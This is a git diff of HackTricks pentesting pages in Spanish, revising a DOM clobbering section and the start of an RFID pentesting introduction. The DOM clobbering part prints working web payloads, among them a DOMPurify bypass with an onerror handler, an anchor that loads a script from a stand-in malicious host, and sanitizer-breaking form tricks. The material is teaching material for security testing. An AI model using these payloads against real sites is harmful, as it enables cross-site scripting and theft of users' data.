alert(a.b.c.d.e)//controlled
|
||||
</script>
|
||||
```
|
||||
### **Burlando Filtros**
|
||||
### **Evasión de Filtros**
|
||||
|
||||
Si un filtro está **recorriendo** las **propiedades** de un nodo usando algo como `document.getElementByID('x').attributes`, podrías **sobrescribir** la propiedad **`.attributes`** y **romper el filtro**. Otras propiedades del DOM como **`tagName`**, **`nodeName`** o **`parentNode`** y más también son **sobrescribibles**.
|
||||
Si un filtro está **iterando** a través de las **propiedades** de un nodo usando algo como `document.getElementByID('x').attributes`, podrías **sobrescribir** el atributo **`.attributes`** y **romper el filtro**. Otras propiedades del DOM como **`tagName`**, **`nodeName`** o **`parentNode`** y más también son **sobrescribibles**.
|
||||
```html
|
||||
<form id=x></form>
|
||||
<form id=y>
|
||||
|
@ -78,13 +81,13 @@ console.log(document.getElementById('x').nodeName)//FORM
|
|||
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
|
||||
</script>
|
||||
```
|
||||
## **Sobrescribiendo `window.someObject`**
|
||||
## **Clobbering `window.someObject`**
|
||||
|
||||
En JavaScript es común encontrar:
|
||||
```javascript
|
||||
var someObject = window.someObject || {};
|
||||
```
|
||||
Manipular HTML en la página permite sobrescribir `someObject` con un nodo DOM, potencialmente introduciendo vulnerabilidades de seguridad. Por ejemplo, puedes reemplazar `someObject` con un elemento de anclaje apuntando a un script malicioso:
|
||||
Manipular HTML en la página permite sobrescribir `someObject` con un nodo DOM, lo que potencialmente introduce vulnerabilidades de seguridad. Por ejemplo, puedes reemplazar `someObject` con un elemento de anclaje que apunte a un script malicioso:
|
||||
```html
|
||||
<a id=someObject href=//malicious-website.com/malicious.js></a>
|
||||
```
|
||||
|
@ -101,25 +104,25 @@ document.body.appendChild(script);
|
|||
```
|
||||
Este método explota la fuente del script para ejecutar código no deseado.
|
||||
|
||||
**Truco**: **`DOMPurify`** te permite usar el protocolo **`cid:`**, que **no codifica en URL las comillas dobles**. Esto significa que puedes **inyectar una comilla doble codificada que se decodificará en tiempo de ejecución**. Por lo tanto, inyectar algo como **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">`** hará que la comilla HTML codificada `"` sea **decodificada en tiempo de ejecución** y **escapará** del valor del atributo para **crear** el evento **`onerror`**.
|
||||
**Truco**: **`DOMPurify`** te permite usar el **`cid:`** protocolo, que **no codifica en URL las comillas dobles**. Esto significa que puedes **inyectar una comilla doble codificada que será decodificada en tiempo de ejecución**. Por lo tanto, inyectar algo como **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">`** hará que la HTML codificada `"` sea **decodificada en tiempo de ejecución** y **escape** del valor del atributo para **crear** el evento **`onerror`**.
|
||||
|
||||
Otra técnica utiliza un elemento **`form`**. Algunas bibliotecas del lado del cliente inspeccionan los atributos de un elemento de formulario recién creado para limpiarlos. Sin embargo, al agregar un `input` con `id=attributes` dentro del formulario, sobrescribes efectivamente la propiedad de atributos, evitando que el sanitizador acceda a los atributos reales.
|
||||
Otra técnica utiliza un elemento **`form`**. Ciertas bibliotecas del lado del cliente inspeccionan los atributos de un nuevo elemento de formulario creado para limpiarlos. Sin embargo, al agregar un `input` con `id=attributes` dentro del formulario, efectivamente sobrescribes la propiedad de atributos, impidiendo que el sanitizador acceda a los atributos reales.
|
||||
|
||||
Puedes [**encontrar un ejemplo de este tipo de clobbering en este informe de CTF**](iframes-in-xss-and-csp.md#iframes-in-sop-2).
|
||||
Puedes [**encontrar un ejemplo de este tipo de clobbering en este CTF writeup**](iframes-in-xss-and-csp.md#iframes-in-sop-2).
|
||||
|
||||
## Sobrescribiendo el objeto documento
|
||||
## Clobbering del objeto documento
|
||||
|
||||
Según la documentación, es posible sobrescribir atributos del objeto documento utilizando el DOM Clobbering:
|
||||
Según la documentación, es posible sobrescribir atributos del objeto documento utilizando DOM Clobbering:
|
||||
|
||||
> La interfaz [Document](https://html.spec.whatwg.org/multipage/dom.html#document) [admite propiedades con nombre](https://webidl.spec.whatwg.org/#dfn-support-named-properties). Los [nombres de propiedad admitidos](https://webidl.spec.whatwg.org/#dfn-supported-property-names) de un objeto [Document](https://html.spec.whatwg.org/multipage/dom.html#document) document en cualquier momento consisten en lo siguiente, en [orden de árbol](https://dom.spec.whatwg.org/#concept-tree-order) según el elemento que los contribuyó, ignorando duplicados posteriores, y con valores de atributos [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) que vienen antes de valores de atributos de nombre cuando el mismo elemento contribuye ambos:
|
||||
> La [interfaz Document](https://html.spec.whatwg.org/multipage/dom.html#document) [soporta propiedades nombradas](https://webidl.spec.whatwg.org/#dfn-support-named-properties). Los [nombres de propiedades soportados](https://webidl.spec.whatwg.org/#dfn-supported-property-names) de un [objeto Document](https://html.spec.whatwg.org/multipage/dom.html#document) en cualquier momento consisten en lo siguiente, en [orden de árbol](https://dom.spec.whatwg.org/#concept-tree-order) de acuerdo con el elemento que las contribuyó, ignorando duplicados posteriores, y con valores de atributos [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) que vienen antes de los valores de atributos de nombre cuando el mismo elemento contribuye ambos:
|
||||
>
|
||||
> \- El valor del atributo de contenido de nombre para todos los elementos [expuestos](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) y elementos [expuestos](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) que tienen un atributo de contenido de nombre no vacío y están [en un árbol de documentos](https://dom.spec.whatwg.org/#in-a-document-tree) con el documento como su [raíz](https://dom.spec.whatwg.org/#concept-tree-root);\
|
||||
> \- El valor del atributo de contenido name para todos los elementos [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element), y [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) que tienen un atributo de contenido name no vacío y están [en un árbol de documento](https://dom.spec.whatwg.org/#in-a-document-tree) con documento como su [raíz](https://dom.spec.whatwg.org/#concept-tree-root);\
|
||||
> \
|
||||
> \- El valor del atributo de contenido [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) para todos los elementos [expuestos](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) que tienen un atributo de contenido [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) no vacío y están [en un árbol de documentos](https://dom.spec.whatwg.org/#in-a-document-tree) con el documento como su [raíz](https://dom.spec.whatwg.org/#concept-tree-root);\
|
||||
> \- El valor del atributo de contenido [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) para todos los elementos [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) que tienen un atributo de contenido [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) no vacío y están [en un árbol de documento](https://dom.spec.whatwg.org/#in-a-document-tree) con documento como su [raíz](https://dom.spec.whatwg.org/#concept-tree-root);\
|
||||
> \
|
||||
> \- El valor del atributo de contenido [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) para todos los elementos [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) que tienen tanto un atributo de contenido [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) no vacío como un atributo de contenido de nombre no vacío, y están [en un árbol de documentos](https://dom.spec.whatwg.org/#in-a-document-tree) con el documento como su [raíz](https://dom.spec.whatwg.org/#concept-tree-root).
|
||||
> \- El valor del atributo de contenido [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) para todos los elementos [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) que tienen tanto un atributo de contenido [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) no vacío como un atributo de contenido name no vacío, y están [en un árbol de documento](https://dom.spec.whatwg.org/#in-a-document-tree) con documento como su [raíz](https://dom.spec.whatwg.org/#concept-tree-root).
|
||||
|
||||
Utilizando esta técnica, puedes sobrescribir valores comúnmente utilizados como `document.cookie`, `document.body`, `document.children` e incluso métodos en la interfaz Document como `document.querySelector`.
|
||||
Usando esta técnica, puedes sobrescribir **valores comúnmente utilizados como `document.cookie`, `document.body`, `document.children`**, e incluso métodos en la interfaz Document como `document.querySelector`.
|
||||
```javascript
|
||||
document.write("<img name=cookie />")
|
||||
|
||||
|
@ -138,9 +141,9 @@ HTMLCollection(2) [img, form, cookie: img]
|
|||
typeof(document.cookie)
|
||||
'object
|
||||
```
|
||||
## Escribiendo después del elemento clobbered
|
||||
## Escribir después del elemento clobbering
|
||||
|
||||
Los resultados de las llamadas a **`document.getElementById()`** y **`document.querySelector()`** pueden ser alterados al inyectar una etiqueta `<html>` o `<body>` con un atributo de id idéntico. Así es como se puede hacer:
|
||||
Los resultados de las llamadas a **`document.getElementById()`** y **`document.querySelector()`** pueden ser alterados al inyectar una etiqueta `<html>` o `<body>` con un atributo id idéntico. Así es como se puede hacer:
|
||||
```html
|
||||
<div style="display:none" id="cdnDomain" class="x">test</div>
|
||||
<p>
|
||||
|
@ -150,7 +153,7 @@ alert(document.getElementById('cdnDomain').innerText); // Clobbered
|
|||
alert(document.querySelector('.x').innerText); // Clobbered
|
||||
</script>
|
||||
```
|
||||
Además, al emplear estilos para ocultar estas etiquetas HTML/body inyectadas, se puede evitar la interferencia de otros textos en el `innerText`, mejorando así la eficacia del ataque:
|
||||
Además, al emplear estilos para ocultar estas etiquetas HTML/body inyectadas, se puede prevenir la interferencia de otro texto en el `innerText`, mejorando así la eficacia del ataque:
|
||||
```html
|
||||
<div style="display:none" id="cdnDomain">test</div>
|
||||
<p>existing text</p>
|
||||
|
@ -170,7 +173,7 @@ Investigaciones sobre SVG revelaron que una etiqueta `<body>` también puede ser
|
|||
alert(document.getElementById('cdnDomain').innerText); // Clobbered
|
||||
</script>
|
||||
```
|
||||
Para que la etiqueta HTML funcione dentro de SVG en navegadores como Chrome y Firefox, es necesario usar la etiqueta `<foreignobject>`:
|
||||
Para que la etiqueta HTML funcione dentro de SVG en navegadores como Chrome y Firefox, es necesaria una etiqueta `<foreignobject>`:
|
||||
```html
|
||||
<div style="display:none" id="cdnDomain">example.com</div>
|
||||
<svg>
|
||||
|
@ -182,9 +185,11 @@ Para que la etiqueta HTML funcione dentro de SVG en navegadores como Chrome y Fi
|
|||
alert(document.getElementById('cdnDomain').innerText); // Clobbered
|
||||
</script>
|
||||
```
|
||||
## Sobrescribiendo Formularios
|
||||
## Clobbering Forms
|
||||
|
||||
Es posible agregar **nuevas entradas dentro de un formulario** simplemente especificando el atributo `form` dentro de algunas etiquetas. Puedes usar esto para **añadir nuevos valores dentro de un formulario** e incluso agregar un nuevo **botón** para **enviarlo** (clickjacking o abusando de algún código JS `.click()`):
|
||||
Es posible agregar **nuevas entradas dentro de un formulario** simplemente **especificando el atributo `form`** dentro de algunas etiquetas. Puedes usar esto para **agregar nuevos valores dentro de un formulario** e incluso para agregar un **botón** nuevo para **enviarlo** (clickjacking o abusar de algún código JS `.click()`):
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```html
|
||||
<!--Add a new attribute and a new button to send-->
|
||||
<textarea form=id-other-form name=info>
|
||||
|
@ -196,7 +201,7 @@ Click to send!
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
* Para obtener más atributos de formulario en [**botón, consulte esto**](https://www.w3schools.com/tags/tag\_button.asp)**.**
|
||||
* Para más atributos de formulario en [**botón consulta esto**](https://www.w3schools.com/tags/tag\_button.asp)**.**
|
||||
|
||||
## Referencias
|
||||
|
||||
|
@ -204,14 +209,17 @@ Click to send!
|
|||
* [https://portswigger.net/web-security/dom-based/dom-clobbering](https://portswigger.net/web-security/dom-based/dom-clobbering)
|
||||
* Heyes, Gareth. JavaScript para hackers: Aprende a pensar como un hacker.
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord**](https://discord.gg/hRep4RUj7f) o al **grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,63 +1,66 @@
|
|||
# Pentesting RFID
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Introducción
|
||||
|
||||
**Identificación por Radiofrecuencia (RFID)** es la solución de radio de corto alcance más popular. Se utiliza generalmente para almacenar y transmitir información que identifica una entidad.
|
||||
**La identificación por radiofrecuencia (RFID)** es la solución de radio de corto alcance más popular. Se utiliza generalmente para almacenar y transmitir información que identifica a una entidad.
|
||||
|
||||
Una etiqueta RFID puede depender de **su propia fuente de energía (activa)**, como una batería integrada, o recibir su energía de la antena de lectura utilizando la corriente **inducida por las ondas de radio recibidas** (**pasiva**).
|
||||
Una etiqueta RFID puede depender de **su propia fuente de energía (activa)**, como una batería integrada, o recibir su energía de la antena lectora utilizando la corriente **inducida por las ondas de radio recibidas** (**pasiva**).
|
||||
|
||||
### Clases
|
||||
|
||||
EPCglobal divide las etiquetas RFID en seis categorías. Una etiqueta en cada categoría tiene todas las capacidades enumeradas en la categoría anterior, lo que la hace compatible con versiones anteriores.
|
||||
EPCglobal divide las etiquetas RFID en seis categorías. Una etiqueta en cada categoría tiene todas las capacidades listadas en la categoría anterior, lo que la hace compatible hacia atrás.
|
||||
|
||||
* Las etiquetas de **Clase 0** son etiquetas **pasivas** que operan en bandas **UHF**. El proveedor las **preprograma** en la fábrica de producción. Como resultado, **no se puede cambiar** la información almacenada en su memoria.
|
||||
* Las etiquetas de **Clase 1** también pueden operar en bandas **HF**. Además, solo se pueden **escribir una vez** después de la producción. Muchas etiquetas de Clase 1 también pueden procesar **comprobaciones de redundancia cíclica** (CRC) de los comandos que reciben. Los CRC son unos bytes adicionales al final de los comandos para la detección de errores.
|
||||
* Las etiquetas de **Clase 2** se pueden **escribir varias veces**.
|
||||
* Las etiquetas de **Clase 3** pueden contener **sensores integrados** que pueden registrar parámetros ambientales, como la temperatura actual o el movimiento de la etiqueta. Estas etiquetas son **semipasivas**, porque aunque **tienen** una fuente de energía integrada, como una **batería**, no pueden iniciar **comunicación** inalámbrica con otras etiquetas o lectores.
|
||||
* Las etiquetas de **Clase 4** pueden iniciar la comunicación con otras etiquetas de la misma clase, lo que las convierte en etiquetas **activas**.
|
||||
* Las etiquetas de **Clase 0** son etiquetas **pasivas** que operan en bandas de **UHF**. El proveedor **las preprograma** en la fábrica de producción. Como resultado, **no se puede cambiar** la información almacenada en su memoria.
|
||||
* Las etiquetas de **Clase 1** también pueden operar en bandas de **HF**. Además, pueden ser **escritas solo una vez** después de la producción. Muchas etiquetas de Clase 1 también pueden procesar **comprobaciones de redundancia cíclica** (CRC) de los comandos que reciben. Los CRC son unos pocos bytes adicionales al final de los comandos para la detección de errores.
|
||||
* Las etiquetas de **Clase 2** pueden ser **escritas múltiples veces**.
|
||||
* Las etiquetas de **Clase 3** pueden contener **sensores integrados** que pueden registrar parámetros ambientales, como la temperatura actual o el movimiento de la etiqueta. Estas etiquetas son **semi-pasivas**, porque aunque **tienen** una fuente de energía integrada, como una **batería** integrada, **no pueden iniciar** la **comunicación** inalámbrica con otras etiquetas o lectores.
|
||||
* Las etiquetas de **Clase 4** pueden iniciar comunicación con otras etiquetas de la misma clase, lo que las convierte en **etiquetas activas**.
|
||||
* Las etiquetas de **Clase 5** pueden proporcionar **energía a otras etiquetas y comunicarse con todas las clases de etiquetas anteriores**. Las etiquetas de Clase 5 pueden actuar como **lectores RFID**.
|
||||
|
||||
### Información Almacenada en Etiquetas RFID
|
||||
|
||||
La memoria de una etiqueta RFID generalmente almacena cuatro tipos de datos: los **datos de identificación**, que **identifican** la **entidad** a la que está adjunta la etiqueta (estos datos incluyen campos definidos por el usuario, como cuentas bancarias); los **datos complementarios**, que proporcionan **más detalles** sobre la entidad; los **datos de control**, utilizados para la **configuración** interna de la etiqueta; y los **datos del fabricante de la etiqueta**, que contienen un Identificador Único de la etiqueta (**UID**) y detalles sobre la **producción**, **tipo** y **proveedor** de la etiqueta. Encontrarás los dos primeros tipos de datos en todas las etiquetas comerciales; los dos últimos pueden diferir según el proveedor de la etiqueta.
|
||||
La memoria de una etiqueta RFID generalmente almacena cuatro tipos de datos: los **datos de identificación**, que **identifican** la **entidad** a la que está adjunta la etiqueta (estos datos incluyen campos definidos por el usuario, como cuentas bancarias); los **datos suplementarios**, que proporcionan **más** **detalles** sobre la entidad; los **datos de control**, utilizados para la **configuración** interna de la etiqueta; y los **datos del fabricante** de la etiqueta, que contienen el Identificador Único de la etiqueta (**UID**) y detalles sobre la **producción**, **tipo** y **proveedor** de la etiqueta. Encontrarás los dos primeros tipos de datos en todas las etiquetas comerciales; los últimos dos pueden diferir según el proveedor de la etiqueta.
|
||||
|
||||
El estándar ISO especifica el valor del Identificador de Familia de Aplicación (**AFI**), un código que indica el **tipo de objeto** al que pertenece la etiqueta. Otro registro importante, también especificado por ISO, es el Identificador de Formato de Almacenamiento de Datos (**DSFID**), que define la **organización lógica de los datos del usuario**.
|
||||
La norma ISO especifica el valor del Identificador de Familia de Aplicación (**AFI**), un código que indica el **tipo de objeto** al que pertenece la etiqueta. Otro registro importante, también especificado por ISO, es el Identificador de Formato de Almacenamiento de Datos (**DSFID**), que define la **organización lógica de los datos del usuario**.
|
||||
|
||||
La mayoría de los **controles de seguridad** de RFID tienen mecanismos que **restringen** las operaciones de **lectura** o **escritura** en cada bloque de memoria de usuario y en los registros especiales que contienen los valores AFI y DSFID. Estos **mecanismos de bloqueo** utilizan datos almacenados en la memoria de control y tienen **contraseñas predeterminadas** preconfiguradas por el proveedor pero permiten a los propietarios de las etiquetas **configurar contraseñas personalizadas**.
|
||||
La mayoría de los **controles de seguridad** RFID tienen mecanismos que **restringen** las operaciones de **lectura** o **escritura** en cada bloque de memoria de usuario y en los registros especiales que contienen los valores AFI y DSFID. Estos **mecanismos de bloqueo** utilizan datos almacenados en la memoria de control y tienen **contraseñas predeterminadas** preconfiguradas por el proveedor, pero permiten a los propietarios de las etiquetas **configurar contraseñas personalizadas**.
|
||||
|
||||
### Comparación de etiquetas de baja y alta frecuencia
|
||||
### Comparación de Etiquetas de Baja y Alta Frecuencia
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (27).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Etiquetas RFID de Baja Frecuencia (125kHz)
|
||||
## Etiquetas RFID de Baja Frecuencia (125 kHz)
|
||||
|
||||
Las **etiquetas de baja frecuencia** se utilizan a menudo en sistemas que **no requieren alta seguridad**: acceso a edificios, llaves de intercomunicador, tarjetas de membresía de gimnasios, etc. Debido a su mayor alcance, son convenientes para su uso en estacionamientos pagados: el conductor no necesita acercar la tarjeta al lector, ya que se activa desde más lejos. Al mismo tiempo, las etiquetas de baja frecuencia son muy primitivas, tienen una baja tasa de transferencia de datos. Por esa razón, es imposible implementar una transferencia de datos bidireccional compleja para cosas como mantener un saldo y criptografía. Las etiquetas de baja frecuencia solo transmiten su ID corto sin ningún medio de autenticación.
|
||||
Las **etiquetas de baja frecuencia** se utilizan a menudo en sistemas que **no requieren alta seguridad**: acceso a edificios, llaves de intercomunicador, tarjetas de membresía de gimnasio, etc. Debido a su mayor rango, son convenientes para usar en estacionamientos de pago: el conductor no necesita acercar la tarjeta al lector, ya que se activa desde más lejos. Al mismo tiempo, las etiquetas de baja frecuencia son muy primitivas, tienen una baja tasa de transferencia de datos. Por esa razón, es imposible implementar transferencias de datos bidireccionales complejas para cosas como mantener el saldo y la criptografía. Las etiquetas de baja frecuencia solo transmiten su ID corta sin ningún medio de autenticación.
|
||||
|
||||
Estos dispositivos se basan en la tecnología **RFID** **pasiva** y operan en un **rango de 30 kHz a 300 kHz**, aunque es más común usar 125 kHz a 134 kHz:
|
||||
Estos dispositivos dependen de la tecnología RFID **pasiva** y operan en un **rango de 30 kHz a 300 kHz**, aunque es más habitual usar 125 kHz a 134 kHz:
|
||||
|
||||
* **Largo alcance** — una frecuencia más baja se traduce en un mayor alcance. Hay algunos lectores EM-Marin y HID, que funcionan desde una distancia de hasta un metro. A menudo se utilizan en estacionamientos.
|
||||
* **Protocolo primitivo** — debido a la baja tasa de transferencia de datos, estas etiquetas solo pueden transmitir su ID corto. En la mayoría de los casos, los datos no están autenticados y no están protegidos de ninguna manera. Tan pronto como la tarjeta está dentro del alcance del lector, comienza a transmitir su ID.
|
||||
* **Largo alcance** — una frecuencia más baja se traduce en un mayor alcance. Hay algunos lectores EM-Marin y HID, que funcionan a una distancia de hasta un metro. Estos se utilizan a menudo en estacionamientos.
|
||||
* **Protocolo primitivo** — debido a la baja tasa de transferencia de datos, estas etiquetas solo pueden transmitir su ID corta. En la mayoría de los casos, los datos no están autenticados y no están protegidos de ninguna manera. Tan pronto como la tarjeta está en el rango del lector, comienza a transmitir su ID.
|
||||
* **Baja seguridad** — Estas tarjetas pueden ser fácilmente copiadas, o incluso leídas desde el bolsillo de otra persona debido a la primitividad del protocolo.
|
||||
|
||||
**Protocolos populares de 125 kHz:**
|
||||
|
||||
* **EM-Marin** — EM4100, EM4102. El protocolo más popular en la CEI. Puede leerse desde aproximadamente un metro debido a su simplicidad y estabilidad.
|
||||
* **EM-Marin** — EM4100, EM4102. El protocolo más popular en la CEI. Puede ser leído desde aproximadamente un metro debido a su simplicidad y estabilidad.
|
||||
* **HID Prox II** — protocolo de baja frecuencia introducido por HID Global. Este protocolo es más popular en los países occidentales. Es más complejo y las tarjetas y lectores para este protocolo son relativamente caros.
|
||||
* **Indala** — protocolo de baja frecuencia muy antiguo que fue introducido por Motorola, y luego adquirido por HID. Es menos probable que te encuentres con él en la naturaleza en comparación con los dos anteriores porque está cayendo en desuso.
|
||||
* **Indala** — protocolo de baja frecuencia muy antiguo que fue introducido por Motorola, y más tarde adquirido por HID. Es menos probable que lo encuentres en la naturaleza en comparación con los dos anteriores porque está cayendo en desuso.
|
||||
|
||||
En realidad, hay muchos más protocolos de baja frecuencia. Pero todos utilizan la misma modulación en la capa física y pueden considerarse, de una forma u otra, una variación de los mencionados anteriormente.
|
||||
En realidad, hay muchos más protocolos de baja frecuencia. Pero todos utilizan la misma modulación en la capa física y pueden considerarse, de una forma u otra, una variación de los listados anteriormente.
|
||||
|
||||
### Ataque
|
||||
|
||||
|
@ -69,24 +72,24 @@ Puedes **atacar estas etiquetas con el Flipper Zero**:
|
|||
|
||||
## Etiquetas RFID de Alta Frecuencia (13.56 MHz)
|
||||
|
||||
Las **etiquetas de alta frecuencia** se utilizan para una interacción lector-etiqueta más compleja cuando se necesita criptografía, una gran transferencia de datos bidireccional, autenticación, etc.\
|
||||
Generalmente se encuentran en tarjetas bancarias, transporte público y otros pases seguros.
|
||||
Las **etiquetas de alta frecuencia** se utilizan para una interacción más compleja entre el lector y la etiqueta cuando se necesita criptografía, una gran transferencia de datos bidireccional, autenticación, etc.\
|
||||
Se encuentra generalmente en tarjetas bancarias, transporte público y otros pases seguros.
|
||||
|
||||
**Las etiquetas de alta frecuencia de 13.56 MHz son un conjunto de estándares y protocolos**. Por lo general, se les llama [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/), pero eso no siempre es correcto. El conjunto básico de protocolos utilizado en los niveles físico y lógico es ISO 14443. Los protocolos de alto nivel, así como los estándares alternativos (como ISO 19092), se basan en él. Muchas personas se refieren a esta tecnología como **Near Field Communication (NFC)**, un término para dispositivos que operan sobre la frecuencia de 13.56 MHz.
|
||||
Las **etiquetas de alta frecuencia de 13.56 MHz son un conjunto de estándares y protocolos**. Se suelen denominar [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/), pero eso no siempre es correcto. El conjunto de protocolos básico utilizado en los niveles físico y lógico es ISO 14443. Los protocolos de alto nivel, así como los estándares alternativos (como ISO 19092), se basan en él. Muchas personas se refieren a esta tecnología como **Comunicación de Campo Cercano (NFC)**, un término para dispositivos que operan en la frecuencia de 13.56 MHz.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (22).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Para simplificar, la arquitectura de NFC funciona de la siguiente manera: el protocolo de transmisión es elegido por la empresa que fabrica las tarjetas e implementado en base al estándar de transmisión ISO 14443. Por ejemplo, NXP inventó su propio protocolo de transmisión de alto nivel llamado Mifare. Pero en un nivel inferior, las tarjetas Mifare se basan en el estándar ISO 14443-A.
|
||||
Para simplificar, la arquitectura de NFC funciona así: el protocolo de transmisión es elegido por la empresa que fabrica las tarjetas y se implementa basado en el nivel bajo ISO 14443. Por ejemplo, NXP inventó su propio protocolo de transmisión de alto nivel llamado Mifare. Pero a nivel inferior, las tarjetas Mifare se basan en el estándar ISO 14443-A.
|
||||
|
||||
